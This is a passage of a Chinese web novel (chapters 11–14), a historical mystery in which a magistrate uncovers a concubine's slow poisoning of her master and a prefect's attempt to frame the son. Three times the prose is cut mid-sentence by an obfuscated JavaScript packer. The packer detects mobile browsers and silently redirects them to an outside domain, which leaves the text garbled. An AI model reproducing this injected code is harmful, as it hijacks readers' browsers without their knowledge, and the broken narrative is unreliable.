“哼,”赵怜抬起头,娇嗔道,“你昨天一直到午夜前不也确实在那嘛,那么多人看着你呢。” “嗯·····”郑参挑起美人的下巴,亲了一口,“说得也是,这老头死得也太巧了,偏偏在我俩说话之后死了。下次我们换个地方,亭子那不安全。” 赵怜生气得避开他再一次的亲吻:“你也太胆小了!那个死老头在的时候,白天死盯着我,只能晚上偷偷摸摸见面。现在老头死了,你还怕什么!莫不是喜欢偷偷摸摸的,琼花楼的那些姑娘不能给你新鲜感了?” 郑参急忙解释说:“我也只是为了避开老头的怀疑而已,我在府里的话,他肯定不会轻易睡觉。要知道他就想抓我们呢。” “哼,”赵怜说,“说不定就是因为醒了,想找我们才误打误撞跑到后院,掉到池塘里去了。” “那就是天要收他,”郑参搂住她,“也免得我们提心吊胆。” 赵怜问:“那以后你不去琼花楼了?” “额,嗯,”郑参犹豫了,“如果朋友叫我去喝酒,我还是会······” “呵,”赵怜拍开郑参搂住她腰肢的手,“那你就去吧,别来我这了。” 说完,就转过身不再理他了。 11. 莲花 郑参勾唇一笑,他知道这是赵怜的欲拒还迎,也不在意,问:“那东西,藏好了吗?” “嗯,这是自然。”赵怜的手指轻轻拂过手边的妆奁,与郑参对视一眼,二人眼中皆有自己的算计。 “这东西倒也用不着了,只是怕官府查出来。”郑参说。 “哼。”赵怜从鼻子里轻哼了一声,白了他一眼,似乎是看不上他这胆小的模样,“老头平日里的药也不少喝。俗话说,是药三分毒。他自己为了治病乱喝江湖郎中开的偏方,中了点毒,难道还能怪到我们头上?何况他也不是因为中毒死的。” “说到中毒,”郑参说,“那个大理正杜文焕前几日不是来府上,听说路途中就被发现中了毒。可我今天看到他还活蹦乱跳的,除了脸色苍白一点,身体一点也不像是个中毒的人。” “他倒是幸运。”赵怜冷笑道,“若是旁人遇上这么些事早一命呜呼了。” 郑参说:“他也不关我们的事,只是要是他真中了毒,老头子还在的话,指不定要让郑府上下都去大理寺严审。老头子一死,旁人便无暇顾及此事了。” “那也不一定,万一审了老头子的事又要审此事呢?”赵怜说着,拿起旁边的珠钗,照着铜镜插入鬓中,语气满是抱怨,“见那些人还得装出一副衣衫不整,哭哭啼啼的模样。” 郑参见状,笑着拿起另一只珠钗,贴近她的脸颊,铜镜上映照出他贪婪又好色的眼神,“您的美色是‘淡妆浓抹总相宜’[1],即使是刚才那个模样,也是我见犹怜呢。” 说到这,他又后退一步,将赵怜上下打量,又拆去她头上的珠钗,说:“啧啧啧,您这模样可真是少见。比起往日珠翠满头少了几分艳俗,又比床上多了几分淡雅。半遮半掩甚美,珠钗就先别戴了。” 说着,他就要搂着赵怜。 “哎——”赵怜用手轻推,从旁拿出一个小木盒,打开,里面有一枚褐色药丸。 她目光盈盈地看着他,眼中满是柔情,说:“你最近精力不足,大白天别行那事。吃大夫开的这个固元丸,先养好自己的身体吧!” “你说的是。老头已死,我俩也不急于这一会。”郑参就着桌上的茶水把药丸吞服下去,又忍不住与赵怜温存了一会,方才离开。 殊不知,在他离开房门的那一刻,赵怜原本柔情似水的眼神变得狠厉而冷漠。 她将自己散乱的衣裳整理好,坐在铜镜前,摸了摸自己的双颊,怔怔地看着镜中我见犹怜的一张小脸。 “美色,真是一把无往不利的利器。” 呆坐半晌,她摸上妆奁,从一个小而隐秘的暗格里拿出一枚旧银饰,雕刻成小小的莲花形状,像是从步摇上掉下来的配饰。 它颜色陈旧,已经不再闪烁光泽,拿出去当也不值几个钱,更比不上赵怜那些专门请工匠打造的珠宝首饰。 可是赵怜却细心而温柔地抚摸它,像是对待一个久未见面的故人。 “很快就可以为您报仇了。”她说。 ······ 京兆府衙仵作早已在府衙里等待多时,待看到杜文焕和李允后,忙上前将所知的情况全部说明:“李大人,杜大人,下官已经查验完毕。死者确实系生前落水,死亡时间是在丑时。衣冠整洁完整,外表无伤痕,没有与人打斗的痕迹。腹内灌下大量的池水,残留的异物有酒腥气,死者昨晚应该有饮酒。” 李允听完,摸了摸胡须,狭长的眼眸眯了起来:“这岂不是说他是酒后糊涂,失足落入池水中的?” “李大人这话说得太早,”杜文焕那双漂亮的桃花眼里反而有了兴味,说,“这事并没这么简单。赵怜说她昨夜服侍郑老爷睡下后,就回自己房里了。她怎么会不知道郑老爷饮了酒?” “哦?”李允也发现了疑点,“难道是在她走后,郑老爷才饮酒的?半夜饮酒,又跑去后院,这又是为何?” “这恐怕要从郑公子和赵怜身上查了,”杜文焕笑道,“今天我见那郑公子和赵怜神色有异,虽然不知道是不是他们做的,但也是一条可以查下去的线索。” “郑公子?”李允问,“不是说赵怜吗,这与郑公子又有什么关系?” “这二人的关系看起来不同寻常,”杜文焕说,“李大人,你知道这赵怜从何而来吗?” “我只知道这小妾是一个月前纳入府中的,”李允说,“郑老爷对她宝贝非常,时常向他人炫耀。” 杜文焕点点头,李允知道的也太少,恐怕再得查探,便说:“还请李大人派人查探这赵怜的身世和来源。” 说完向李允告辞,回了大理寺。 “大人!”陆甲原本在打飞来飞去的蚊子,见杜文焕进来了,忙装作刚刚还在看文书的样子。 杜文焕并没戳破他,毕竟这大理寺已经凋敝多日,只有他们二人,再罚也没用。 “你现在可以回去了。” “啊?”陆甲简直不敢相信自己的耳朵,“真的吗?大人你是大好人!” “当然,”杜文焕说,“不过你回府后,有一事要你去做。” 陆甲心道难怪,心终于放到肚子里,焉了吧唧地问:“什么?” “我要你去一趟琼花楼。” “我是正经人!”陆甲音量突然提高,“下官还未娶妻呢,就算,就算是公费开销,也不能去那种地方!” “不是公费。当然你这事做好了,自然就有补贴。而且天知地知,你知我知,只要你不说我不说,谁知道你去过青楼?”杜文焕一本正经地说,就像是个正直刚毅的官员,但陆甲却觉得更像是一只看起来十分正经的狐狸。 “那大人是要我去做什么?” 杜文焕压低声音,一一与他说明。 “下官明白了。”陆甲也正色起来,他虽喜欢躲懒,对正事也不敢马虎。 ······ 次日,陆甲从外走进来,哈欠也直打个不停。 “昨天晚上那些姐姐太会折腾了。”陆甲自言自语地说,却碰上杜文焕犀利的眼神后骤然闭嘴。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420046|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你昨晚上只顾着厮混去了?”杜文焕放下刚刚还在看的文书,语气变得严肃,“我要你打听的事打听了吗?” “当然,当然,”陆甲连忙表明自己的成果,“您想知道的事,我打听出来了。” “哦?说。” “是这样的,”陆甲说,“我昨天听完您的话就马上回家换了身衣服,去了琼花楼。这琼花楼虽然是青楼,却也有些格调,只会招待达官贵人或是富商公子,我一身普通人打扮,本来是进不去的。幸而在门口碰到了一个人。” “谁?”杜文焕问。 “季棠。” “季棠?”杜文焕记得季棠是礼部尚书季庭春之子,与他年少时曾一起读过私塾,只是后来杜文焕便不再去私塾,一个人待在家中埋头苦读,请先生上门,也就和季棠再没什么交往。 “我与他有点交情,”陆甲说,“他是琼花楼的常客,见我在门外便询问原因。我说听闻琼花楼所酿的美酒是京城一绝,故而去那。只是不想提及自己大理寺丞的身份,便被挡在门外。他听完就以朋友的身份带我进去了。” 陆甲继续说:“我与他坐在那喝酒聊天,席间有个叫小桃红的女子过来斟酒,我便旁敲侧击地向她打听昨日郑公子有没有来。这女子警惕心强,只说昨天晚上郑参确实是在那过夜的。但季棠说,昨日是他与郑参一同饮酒,半夜醉酒与郑参一同离开,路上他送郑参到郑府门前,只是没想到郑参又回了琼花楼。” “哦?”听到这,杜文焕刚才的那点困倦一扫而空,“他回去过?” “是,”陆甲说,“得了季棠这番证词,我再细细询问小桃红,她只好一五一十地说了。昨晚上郑公子的确回了郑府一趟,只是天明之前又回了琼花楼。” 听到这,杜文焕思忖:“为什么他要这样大费周章?” 陆甲说:“杜大人,我觉得这个郑参很有疑点。不如就叫他们过来对证,说不定郑参就会将事情一五一十交代清楚。” “不,”杜文焕阻止道,“还没弄清楚他回去做什么之前,不要打草惊蛇。” 正在这说话的当口,侍卫通报说京兆府的衙役求见。 “让他进来。” “杜大人。”来人从外走进,向杜文焕行礼。 杜文焕朝门口看去,他认得这个人,是京兆府的衙役。 “是府尹让你来的吗?”他问。 “是,”衙役说,“李大人说请您过去一趟,昨晚上那个车夫已经找到了。” 一旁的陆甲满脸问号:“什么车夫?” “这事待会再说,”杜文焕站起身,“你先随我过去一趟。” “是。” 京兆府衙杜文焕一来便看见车夫蓬头垢面,哆哆嗦嗦地跪在堂下,身上的衣服已经破损了几处,还沾了些许泥巴。 “杜大人,”李允见杜文焕来了,请他坐在一旁,也不拐弯抹角,说,“这车夫可是前不久杜府的那个?” 杜文焕又仔细将车夫上下打量了一番,说:“正是。” 12. 金蝉 京兆府,堂上的“明镜高悬”匾额下,正位上坐着一个头戴乌纱帽,脚蹬黑色长靴,腰缠玉带的从三品京兆尹。 他旁边坐着一位年轻俊美的官吏,这位官吏因身体不适而蹙起眉头,绯红色官服衬出他精瘦的身躯,疏离的神色与这肃穆的公堂相得益彰,墨色的眼眸熠熠生辉。 他虽被病魔缠身,却无颓唐之色。 此刻他看了李允一眼,又将堂下跪着的车夫打量一番,回答李允的问题:“此人正是前不久下官遇刺时的车夫。” 李允将惊堂木一拍,厉声对堂下人说:“堂下何人?还不将昨晚上的事一一交代清楚!” 车夫被吓了一大跳,战战兢兢地说:“小人叫陈二,是,是杜府的车夫。昨晚照旧送杜文焕杜大人回杜府,没想到路过东街时遇到一伙贼人,一个个黑纱覆面,抄起刀子就朝小人砍来。小人躲闪过去后摔到了马车下,那帮贼人就转而攻击杜大人。小人在他们都去追杜大人的时候趁乱跑了。” “跑了之后你就躲了起来,”李允沉下声,“也没回杜府带人回去救杜大人,甚至要我差衙役去找你,你才肯来官府。贼人怎么会知道是那个时间,又怎么会早早将街上其他人驱散?不是你告的密,还会是谁!” “小人冤枉啊!”陈二被吓了个半死,“小人只是奉命接送杜大人,至于刺杀的事,小人实在不知情啊!刺杀杜大人对小人没有好处啊。” “谁说没有,”李允冷哼一声,叫衙役把手上的包袱丢在他面前,“你看看这是什么?” 陈二看到那个包袱,脸上的恐惧之色更甚:“这,这是······” “你不说,本官就替你说吧,”李允说,“这里面有五十两银子,你媳妇说几天之前有个黑衣人去了你家,将这个包袱交给了你。你还说过几天要带她和你们的孩子远走他乡。这不是早有预谋是什么?还不从实招来!” “小人,小人······”陈二抖得像筛糠,结结巴巴,说不出话来。 “你若是如实交代,将这些贼人的身份和目的说清楚,说不定还可免于一死,”李允皱纹密布的脸上满是愤怒,“否则,待本官上告陛下,将你凌迟处死,株连九族也不为过!” “小人,小人确实不知啊,”陈二此时脑袋悬在裤腰带上,不得不开口,“前几天晚上,小人在家中将睡之时,有个黑衣人到了小人家。他用刀架在小人脖子上,说只要将这几日杜大人回去的时间告诉小人,小人就能得到一百两,还能远走他乡,否则就要杀光小人全家。为了活命,迫不得已才答应了他。这是迫于无奈啊,大人!” “你可曾看到那个黑衣人的模样?”李允问。 “不曾,”陈二答,“他蒙着黑纱,看不清面容,体态壮实,只知道是个成人男子。” 李允与杜文焕对视一眼,后者看了看地上散落的包袱。 里面不仅有五十两纹银,还有一些衣物,看材质不像是陈二这种人穿得起的。 “这些衣服是怎么回事?”杜文焕问。 “是那个黑衣人给小人的,”陈二此时什么也不敢再隐瞒,“说只要告诉他,其余什么都不要管就能过上穿这种绫罗绸缎的日子。” 杜文焕又问:“这儿只有五十两,你刚才说黑衣人答应给你一百两。那还有一百两呢?” 陈二:“他说,说事成之后再将这五十两给我。” “约定的时间,地点呢?” “明天晚上,城西的破庙里。” 杜文焕看他们俩一对一答,心中有了主意,问李允:“可否让下官问几句话?” 李允颔首,示意可以。 杜文焕转向陈二:“既然你已经逃出城外,为何还要回来?” 陈二神色自若,说:“草民刚才已经说过,是因为担心家中妻儿。” “哦?”杜文焕冷冷地看着他,“那你可知你妻儿如今在哪?” 陈二支支吾吾地说:“小人还未去看过······” “但你刚才说,你是在看完妻儿之后被抓住的。” “小人刚才有说过吗?”陈二挤出一个笑容,眼神不自觉乱飘,“那肯定是大人您听错了,或是小人一时嘴瓢说错了。” 杜文焕并没有说什么,发现这陈二的手抖得愈发厉害,而乱瞄的眼神有几道是看向李允的。 后者端坐在台,神色并无变化,见杜文焕看过来,李允微微抬头,示意他还有没有什么需要问的。 “下官要问的就是这些。”杜文焕说。 “小人说话句句属实,”陈二说,“那五十两不打紧,他给了我这个。” 他拿出一枚金子雕刻的蝉,李允示意衙役递上来,又交给杜文焕看了看。 李允说:“这枚金蝉雕刻精致,不像是一般人所有,京城有风尚,世家公子常佩戴一些金子雕刻的小物件彰显财力。” 杜文焕掂量了一下,确实为纯金,问:“他为什么要给你这个?” “是信物,”陈二说,“说是明天晚上去西街破庙将这金蝉交给他,他就将剩下五十两给我。” 李允捋了捋胡须:“好,明日我便派人去探一探。杜大人,你以为呢?” 杜文焕说:“先将他收押吧,顺着这条线索往下查。” 李允点点头,对衙役说:“来人,先将他收押大牢,择日再审!” ······ 晚上,希夷悄然进来,而杜文焕一早就在等她,见她出现,一直愁眉不展的神色宽松了些许。 对她说:“我觉得有些古怪。” “怎么了?”希夷摸不着头脑,一来就被扯着说些听不懂的话。 杜文焕向她说明白天之事。 “我今日去调查郑老爷失足溺水的事,可是京兆尹却把之前的车夫找了来,还指认是郑参这么做的。” “哦?”希夷说,“你是认为京兆尹特意将此事拉出来,是另有所图?” “嗯,”杜文焕点点头,“他需要此事遮掩什么呢?我总觉得赵赐恩、郑敬荣和李允之间有些什么联系。这或许是手稿上的内容。” “手稿?”希夷疑惑地问。 “是前任大理卿关于此案的手稿,”杜文焕这才想起手稿的事并没跟希夷说,详细解释道,“前任大理卿是我的老师,负责审理此案。在我回京城之前,他曾在信中提及此案,并询问我的看法。只是我回信之后少有回复,最后一次书信便是提及手稿和回京之事。” “但你回京之后并没有找到他所说的手稿。”希夷问,她倒是第一次知道在吏部黄册上寥寥几笔,背后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420047|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有这么多因果。 “是,”杜文焕说,“在我回京的路上,前任大理卿就因病去世。等我正式入大理寺,其他官吏都跑得差不多,而在混乱中,卷宗一团糟,手稿也没人顾得上。等我将卷宗整理清楚,也不见手稿。” 希夷问:“大理寺只有你一人么?” “不,”杜文焕摇了摇头,说,“还有两人,只是他们很抗拒这个案子,也不知手稿的去向。” 希夷说:“只有你一人能坚持到现在还真不容易。你跟你的老师感情似乎比家人要深厚。” 杜文焕的神色有些落寞:“毕竟我的老师赏识我,培养我,感情自然非同一般。所以此事我一定要解决。你还可以帮我离魂吗?” “你要做什么?”希夷惊道,“以你现在的身体,会很危险,而且难道你不怕出现上次突然跑去乱葬岗的情况么?” 杜文焕回想起那些鬼魂扭曲的脸,心中倒没有之前那么害怕,说:“被吓第一次,就不会被吓到第二次,何况人心比鬼更加可怕。” 希夷摇头拒绝:“以你现在身体的状况,白天出去已经是勉强,晚上又要脱离□□,你的身体绝对撑不住。何况,即使今日去,难道还想像上次郑敬荣那里听出些什么来?不会那么巧的。” “不是想探听什么,”杜文焕说,“我只是怀疑京兆尹私下跟赵郑二人有交易。” “什么交易?” “且等我一会。” 杜文焕从书柜的一角将书撤离,从后的暗格中拿出几封信来,拿到灯下,对希夷说:“这里有三封信,本来有四封,一封给了郑敬荣。剩下三封,一封是郑的,还有二封并未提及姓名。” “这就是你从赵府盗出的东西?”希夷笑他。 杜文焕无奈地说,语气却毫无责怪的意思:“不要取笑我了。” “你确定要给我看这个么?” “你我的契约虽是保护,但知道我的对手是谁,我要去做什么还是很重要的。” 希夷看了杜文焕一眼,笑道:“那我就给你出出主意。” 一封封信看过去,郑敬荣那封是私吞赈灾银两自不必说。 剩下的两封,都没有署名。 信中文字简略,所提及的事都是有关京城田税和户税。 “这是?” “对,”杜文焕解释说,“能管京城田税和户税,又有这么大权力的,只有京兆尹。所以我怀疑,众官吏不敢查官员被杀案的背后,必定还有这些因素的影响。” “俗话说,拔出萝卜带出泥。他们是怕被牵连?” “嗯,若是此案被查出,恐怕就不止被罢官了。” “可你怎么证明一定是他?”希夷问。 杜文焕向她说了前几日找郑敬荣时,郑敬荣所提到的巫术案。 希夷初时听着面上脸色未变,可等她听到后面,惊诧之色简直要写在脸上。 这与此前神秘女子跟她讲述的故事,简直一个故事的不同视角。 杜文焕还以为她只是被巫术案惊住了,继续说:“我去案牍库里寻找十三年前巫术案的记录时,虽只有草草的概述,但发现了当初告密的那封密信。上面署名的有赵赐恩、郑敬荣,还有一个就是李长禄。而如今的京兆尹李允原名就叫李长禄。” 13. 牢狱 “李长禄?这也太巧合了。”希夷说:“这郑敬荣与你见面次日就摔入池中,而你是从他那听来巫术案与密信。若真如你所言,李允曾经的名字李长禄也在那封密信之上。他会不会因为这个将郑敬荣杀死?” “有可能,”杜文焕说,“可是仵作验出他确实为饮酒溺水而死,郑敬荣又是在家中死亡的。难道郑府有他的内应?” “郑敬荣死之后,郑府谁获利最大?”希夷问。 “郑敬荣的小妾赵怜无子,家中的财产大部分都要留给郑参。” 杜文焕回想白天郑参与赵怜之间藕断丝连的眼神,对希夷说明这些之后,猜测道:“难道郑参为了赵怜和财产要将郑敬荣置于死地?” “这个郑参又是个什么人?” 杜文焕说:“他是郑敬荣的小儿子,因是老来得子,所以在家备受宠爱,养成了轻浮放荡的个性,整日留恋烟花柳巷。” “那他与赵怜私通,也不是没有可能。”希夷说。 “审问时,我问他昨夜在哪,说是在一个叫琼花楼的青楼里,此事我已差人前去暗中调查是否属实。” 杜文焕叹道:“需等明日李允的动作,看根据那个金蝉和陈二的供述,会抓到谁。我倒是想看看李允是想找谁替罪。” 希夷听罢,沉吟了一会,拿起桌上的毛笔,在纸上将几日内发生的事梳理了一遍。 东街遇刺——郑府下毒——郑敬荣溺亡。 这一桩桩一件件未免衔接得太巧了。 希夷说:“东街那些杀手个个训练有素,而你被下毒也悄无声息,正巧下在你与郑敬荣谈话的时段。而在你中毒昏迷却并无危险时,郑敬荣就在此时溺死在池塘里。不免有传闻猜测他是畏罪自杀。” “嗯,”杜文焕说,“背后的人不仅心狠手辣,而且做事果决,下手快准狠。这并不是一个人可以做到的,何况又有这些难以找到的杀手。这背后,或许有个庞大的组织。” “既然是组织,那这李允又在其中扮演什么角色呢?” “这还不知道,”杜文焕说,“但这个阴谋已经随着他们的动作慢慢浮出水面,相信我们很快就会得到答案。” 希夷点点头,窗外乌鸦独立在枯枝上,叫了几声,却也打不破这夜晚的寒冷和孤寂。 ······· 昏暗的古庙里,摆放在佛像的灯里的灯油早被老鼠偷吃了个精光,因风化而残损的布依稀还可见灰尘掩盖之下的金色,铜塑的佛像也不知是被谁打缺了一边,上面已经结满蛛丝,再也辨不清佛像的神情。 “有人来了。” 随着这句被风吹淡到几乎听不清的话,门口出现了一个人影,他提着灯笼,先是左右张望,见四下无人,便放心跨过门槛,进了寺庙。 但寺庙里也没有人,这个人环视了一圈也没见到自己要找的人,就要离开。 这时听得一声厉喝:“哪里跑!” 来人抖了一下,撒腿就跑,还未等跑出门槛,就被一拥而上的衙役给扑倒,脸结结实实摔在沾满灰尘的木地板上,腐朽的木板味夹杂着灰尘扑面而来,呛得在场的人直咳嗽。 而其中咳得最厉害的,就是趴在地上那个人。 他被衙役反手控制,挣扎了几下,却丝毫没有挣脱,怒道:“你们是什么人?” 众人都听清楚这人声音十分年轻,又有些耳熟。 这时,门外的月光透了进来,照亮了他的脸庞。 一衙役惊呼:“是郑参郑公子!” 郑参见他认出自己来,胆子也大了些,原本安分下来的他边挣扎起来,边说:“既然知道我是谁,还不快把我放开!” 郑参不知道抓他的是谁,寺庙里突然冲出乌泱泱一群人将他摁住,本来他吓了个半死,加上看不清他们的脸和衣裳,还以为是流窜到此地的强盗,要将他不分青红皂白地杀死。 谁知他们听语气竟是熟人? 趁着他们愣神,制住他手臂的限制放松了些许。 郑参扭头一看,只见都是几个普通衙役,上次来郑府还见过一面。 登时,他更怒了,冲着领头的大发脾气,“你们这些都是京兆府的衙役?半夜三更,抓我做什么?” 京兆府尹李允从阴影中走出,他从袖中拿出从陈二那收缴的金蝉,递到郑参面前,淡淡地问:“这枚金蝉可是你往日佩戴之物?” 说着,便眼神示意手下将他暂时放开。 郑参得了自由,面对官位比他爹高的李允,却又不敢多说什么,只能顺着他的话将金蝉放在掌心打量了半天,说:“这是我的,你们是怎么得来的?” “那没错了。”李允趁郑参不备,将他手中的金蝉抢过,后退几步,吩咐衙役说,“将此贼人抓回府衙听审。” “是!”衙役们听了这话,哪敢不从,忙七手八脚将这郑参制住,押回府衙。 京兆府此时绝不可能审案,衙役们蹲守半天,也都困得东倒西歪。 李允就让他们把郑参关进大牢,明日再审。 衙役们个个都想快点干完回去休息,将郑参扔进最深处的一件牢房,又告诉守夜的狱卒一声,便都出去了。 大牢内臭味横生,郑参这种养尊处优的官宦子弟根本难以忍受,可这牢房里也只铺了些稻草供人休憩,他只得勉强躺卧在上面。 他暗暗唾骂这些衙役捧高踩低,自己老爹才刚死,这些人就来找他麻烦。 幸好家中还有点钱,明儿托人打点,自己就能出去了。 虽然他想来想去也没想到自己犯了什么事。 不久之前,他是为琼花楼的姑娘把一个小子打得半死,但那事已经托人用钱摆平了。这次又是什么事? 不过他也不担心,反正只要有钱,什么都能摆平。 而且这京兆府尹与老爹还是旧相识,总不会为难自己吧? 他反复用这些话安慰自己,终于不像刚才一样直发抖了。 大牢里的夜晚实在难熬,这儿又冷又潮,身下的稻草又让人痒得慌,郑参实在睡不着。 忽然一阵阴森森的风传来,将烛火全部吹灭。 郑参吓得睁开了眼,看向牢门,这一眼又将他的魂差点吓飞。 借着月光,勉强看得清门外站了一个人,那人裹在黑色的袍子里,像是刚出坟墓的鬼魂。 郑参心里十分恐惧,却因不敢相信,壮着胆子喊了一声:“你是什么人?” 那人将兜帽摘下,露出惨白又熟悉的俊秀面容,声音有些沙哑,说:“大理正,杜文焕。” “你?”郑参打起精神走近,仔细打量了一下杜文焕,确实是熟悉又冷漠到让人讨厌的大理正杜文焕。 “你来这干嘛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12420048|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”郑参怀疑地连问了好几个问题,“你怎么进来的?你想对我做什么?” 杜文焕冷冷地看了他一眼,并不回答他的问题,藏在黑袍下的手紧紧抓住一枚旧银锁,说:“抓紧时间吧。你知道自己为什么会被抓到这来吗?” 郑参不以为意地说:“打了人?又或者抢了谁的相好?” “哼,”杜文焕冷笑了一声,“你今天被抓的时候是不是给了你一枚金蝉让你辨认?” “是啊,有什么问题吗?”郑参说。 “那确实是你的东西?” “是啊。”郑参语气有点不耐烦。 “你想要杀我?” “什么?!”郑参觉得他莫名其妙。 “一个蠢货,”杜文焕嘴上毫不客气,“那枚金蝉是指认你买通杜府车夫,找杀手刺杀本官的证据。” “什么?!”听了杜文焕的话,郑参的语气变得焦急,“我,这,怎么会呢?” 杜文焕没有时间跟他耗,问:“你既然没有这么做,那金蝉交给谁了?” “那只是一枚很寻常的物件,”郑参恐惧地缩起脖子,不得已解释,“很早之前就丢了,我没有在意······” “那你家中还有一模一样的金蝉配饰吗?” “没有。” 杜文焕感觉身上愈发疼痛,语速不由得快了些,“你爹在家中池塘溺亡,真的是自杀,而不是你所为吗?” “我?”郑参狂摇头,“不是我。我爹死了确实是溺死的,京兆府的仵作不也验尸了么?” “直接原因的确是溺死,”杜文焕一边说,一边观察着郑参,“但也发现他也有少量中毒的痕迹,这是慢性毒药的特征,你敢说你不知道?” “我,我。”郑参说不出话来,几次想要张口,又把话咽了回去。 “最好如实交代,这人既然不是你直接杀的,也不是你雇人杀本官的,一一交代清楚,本官替你想说辞。不然明日堂上一审,你觉得逃得掉这些罪名吗?” 杜文焕这些话最大的作用就是唬他,但郑参此刻的内心早已被恐惧占领,也来不及分辨,只好说:“我是给我爹下了慢毒。” “为什么?” “为了我爹的财产和他的小妾赵怜。”郑参讪讪一笑,“虽然我留恋烟花柳巷,但还是真心喜欢赵怜的。我爹那个老头横在我俩之间,早该死了。” “这毒是怎么下的?” “是让赵怜下在我爹日常喝的药里。他爱搜集些江湖偏方,是药三分毒,我以为不会被发现。” “这事是你与赵怜同谋的?” “是。” 又说是真心喜欢赵怜,出事卖得比谁都快。 杜文焕忽然想起当日与郑敬荣所喝的茶水,问:“那天本官到郑府见郑老爷,你在吗?” “不在。” “那这赵怜在吗?” “她不大出门,应该在,至少我出门之前看见她还在府中。” “郑府来客人,赵怜她会亲自沏茶吗?” “不大会,除非是重要到可以进书房的客人。” 到此,杜文焕心中有了一个清晰的猜测。 他压低声音说:“如果你不想不明不白地死,这几日就按照我教你的说和做,明白吗?” 郑参咬了咬牙,终究应下:“好!” 14. 真相 杜文焕到大理寺时,陆甲迎上来说:“大人,您今日怎么来了?您的身体还好吗?” “嗯,还好,”杜文焕尽量压下想要咳嗽的冲动,“这几日犯人可曾抓到?” “已经把郑参抓到了,赵怜并没有踪影。京兆尹大人已经下令封闭城门,全城通缉了。” “两天了还没抓到?” “对,李大人已经抓紧时间审问那犯人郑参,可是他咬死不说。经过调查,在他房中搜出与杀手组织联系的信件,看样子是他暗中勾结杀手残害官员。那郑妾不知去向,或许是被郑参杀了。他害死父亲,又想把罪推到郑妾身上。” “这些都是李大人告诉你的?” “是。” 果然如杜文焕所想,李允想要郑参认罪。 要是先被李允抓到那群杀手,到时候混战中再砍死几个,严刑逼郑参认罪,再想拉他下台就不好办了。 “陆甲,跟我去大牢。” “是。” 来的路上杜文焕简单地向陆甲说明自己的猜测,两人来到大牢,还好郑参只是看着有些恹恹的,应该是失血过多。 “他没死吧?”杜文焕还要向陆甲确认一遍。 “是没死。”陆甲上前查看了一番。 “嗯,”杜文焕走上前,蹲在郑参面前,说,“郑参,多谢你之前的提醒,不然现在我就是一具尸体。而如果你想活命的话,最好接下来听我的。” 郑参见到杜文焕吐血倒地,知道他跟要严刑逼供的京兆尹不是一伙的,自己如今配合他才是明智的选择,便点点头,因为长久不进水而沙哑的喉咙里挤出一个字:“好。” 杜文焕得到想要的回答,十分满意:“那么你跟我来。” 说完打开牢房,让他去这个地方尽头最黑暗的地方,也就是程守节的牢房。 这地方十分狭窄,也十分隐蔽,离之前的地方有一段距离。 郑参不明白他这是要做什么。 “你从现在开始就待在这里,”杜文焕又拿出一枚药丸,“这是一颗定神丸,从现在开始一直到明天早上你都要是睡着的。而到了明天,我自会还你们俩一个公道。” 郑参犹犹豫豫要不要吃下这药,万一是为了灭口的毒药······ 杜文焕看穿了他的心思:“我要杀你用不着这个,甚至不需要我动手。何况你死了,谁来给皇帝一个交代呢?” 郑参听懂了其中的利弊,眼一闭心一横吞服了药。 亲眼看他服了药,杜文焕转头程守节说:“他也是跟你一样被此案冤枉的嫌犯,你要将他藏在墙角的稻草中,切不可让他发出声音。” “是。” “今天晚上估计会有人来,你要做出不让别人看出他容貌的模样。不论那些人怎么恐吓你威胁你,甚至用刀来吓唬你,你都要这么做。”杜文焕眯起眼睛,眼中的威严像一柄利剑悬挂在程守节头上,后者只得战战兢兢答应。 “当然,我也不是让你拿命相搏的意思,”杜文焕放软了语气,“你不会受到伤害的,我会派人保护你。而且,我想你也很愿意见见自己的女儿。说不定今天晚上你就能见到她。” 程守节讶异地看了杜文焕一眼,又很快低下头:“是。” 杜文焕嘱咐完,就出了牢门,让陆甲上了锁。 陆甲十分疑惑:“大人,您这是要做什么?直接让下官与郑参交换衣物,把他带出去保护不好吗?” 杜文焕摇摇头,不耐烦地解释:“这附近到处都是李允的眼睛,而且就算带出大理寺,又把他安置在什么地方?行路途中甚至住房都容易暴露。如果他倒打一耙,说我们私放罪犯,我们该如何解释?” “那大人是要?” “哼,”杜文焕冷笑一声,眼睛里露出狡黠,“我们要利用他的疑心请君入瓮。陆甲,你待会在狱卒面前装出一副遮遮掩掩的样子,不要说话。待会出去之后直接坐我安排的马车回家,关上房门不要出去。” “是,”陆甲预感有危险,小心翼翼地问,“那大人,你也会派人保护我吗?” 杜文焕愣住了,答案很显然:“这个我倒是没想到。” 陆甲哭诉道“大人,我,我这么忠心耿耿,可不想这么快就死掉啊。” 